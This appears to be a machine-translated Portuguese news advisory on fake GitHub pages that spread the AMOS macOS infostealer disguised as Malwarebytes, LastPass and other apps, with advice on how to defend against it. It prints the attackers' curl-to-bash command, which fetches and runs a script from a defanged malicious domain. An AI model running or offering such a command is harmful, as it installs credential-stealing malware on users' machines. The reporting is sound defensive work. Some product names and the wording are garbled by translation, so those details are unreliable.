Malware de armamento: o GitHub hospeda malware de malwarebytes, last

Data: 2025-09-24 13:15:16

Autor: Inteligência Against Invaders

Uma campanha em larga escala direcionada aos usuários de Mac está alavancando as páginas

falsas do GitHub para distribuir malware para roubar informações disfarçadas de aplicativos

legítimos populares.

Entre os softwares personificados estão MalwareBytes para Mac, LastPass, Citibank, SentineLone e dezenas de outras marcas conhecidas.

Embora a representação da marca não seja novidade, esta campanha demonstra as táticas em evolução que os cibercriminosos empregam para atrair os usuários a instalar o código prejudicial.

Pesquisadores de ameaças da Inteligência de ameaças do LastPass e Malwarebytes têm identificado Inúmeras páginas do Github pretendem hospedar instaladores de macos para aplicativos confiáveis.

Em vários casos, os invasores compram anúncios do Google patrocinados que direcionam os usuários a essas páginas maliciosas, em vez de sites oficiais de fornecedores.

Em outros casos, a campanha depende de técnicas de envenenamento por SEO para aumentar os repositórios falsos nos resultados de pesquisa de perguntas como “Malwarebytes Github MacOS”. Uma vez atraído para o site, os usuários involuntários recebem um “Get [APPLICATION]” botão.

Clicar em ele leva a instruções que baixam e executam um script do instalador de um domínio recém-registrado, geralmente sem qualquer prompt ou revisão de código do usuário, ignorando efetivamente as proteções do MacOS e a vigilância do usuário.

O objetivo desta operação é implantar o ladrão atômico (também conhecido como AMOS), um poderoso ladrão de informações do MacOS que colhe dados do navegador, conteúdo da área de transferência e credenciais armazenadas.

Se alguém clicar nesse botão, acabará em uma página de download com instruções sobre como instalar o produto falso, que é realmente um ladrão de informações.

Ambos os Malwarebytes para Mac e Ameakdown sinalizam e bloqueiam essa variante, mas a engenharia social inicial permanece chocantemente eficaz contra usuários menos cautelosos.

Aparecimento técnico da cadeia de infecções

O processo de instalação se baseia inteiramente em um comando shell de linha única que os

usuários são instruídos a copiar e colar em seus macos Terminal:

```
bash/bin/bash -c "$(curl -fsSL https://gosreestr[.]com/hun/install.sh)"
```

Aqui está como funciona:

1. O curl -fsSL As opções baixam silenciosamente um script remoto, seguindo todos os redirecionamentos e falhando silenciosamente nos erros HTTP.
2. Envolvendo o curl invocação in $(…) faz com que o script baixado seja passado diretamente para o exterior bash -c comando.
3. A invocação da concha externa executa o script buscado instantaneamente, sem apresentar seu conteúdo ao usuário para revisão.

Os atacantes codificaram URLs intermediários na base64 para ofuscar o verdadeiro destino, dificultando a detecção por observadores casuais.

Como a abordagem do terminal não aciona as verificações de assinatura de aplicativos do MacOS ou requer instruções no nível do administrador, o script é executado com os privilégios do usuário e pode instalar agentes persistentes em Launchagents ou Launchdaemons.

Melhores práticas para evitar software falso

Para proteger contra isso e táticas semelhantes, os usuários de Mac devem adotar as seguintes diretrizes:

Nunca execute comandos de cópia de cópia de páginas da web não verificadas, fóruns ou Github Repositórios. Comandos invocando curl … | bash ou construções semelhantes devem ser tratadas como alto risco.

Sempre faça o download de aplicativos do site oficial do desenvolvedor ou de uma loja de aplicativos respeitável. Em caso de dúvida, verifique os URLs do download com o fornecedor diretamente através de seus canais de suporte.

Desative ou tenha cuidado com os resultados de pesquisa patrocinados. Esses anúncios podem redirecionar para páginas maliciosas, mascaradas como marcas confiáveis.

Empregue proteção antimalware em tempo real que inclui filtragem na web. Soluções como MalwareBytes Para Mac e Detectar e Bloquear as variantes de ladrões atômicos antes da instalação.

Se houver suspeita de infecção, inspecione o ~/Library/LaunchAgents e /Library/LaunchDaemons Pastas para itens desconhecidos e remova quaisquer entradas suspeitas.

Para correção abrangente, considere um macOS completo reinstale e restaurar arquivos apenas de backups limpos conhecidos. Reinicializa todas as senhas da conta e ative a autenticação de vários fatores para evitar acesso não autorizado com credenciais roubadas.

Embora o GitHub seja geralmente uma plataforma confiável para o software de código aberto, esta

campanha ilustra como os adversários podem armar-o, se passando por marcas legítimas.

A vigilância, as práticas cautelosas de download e a proteção robusta dos pontos finais continuam sendo as melhores defesas contra ameaças tão em rápida evolução.

Siga -nos Google News**Assim,**LinkedIn**e**X**Para obter atualizações instantâneas e definir GBH como uma fonte preferida em**Google**.**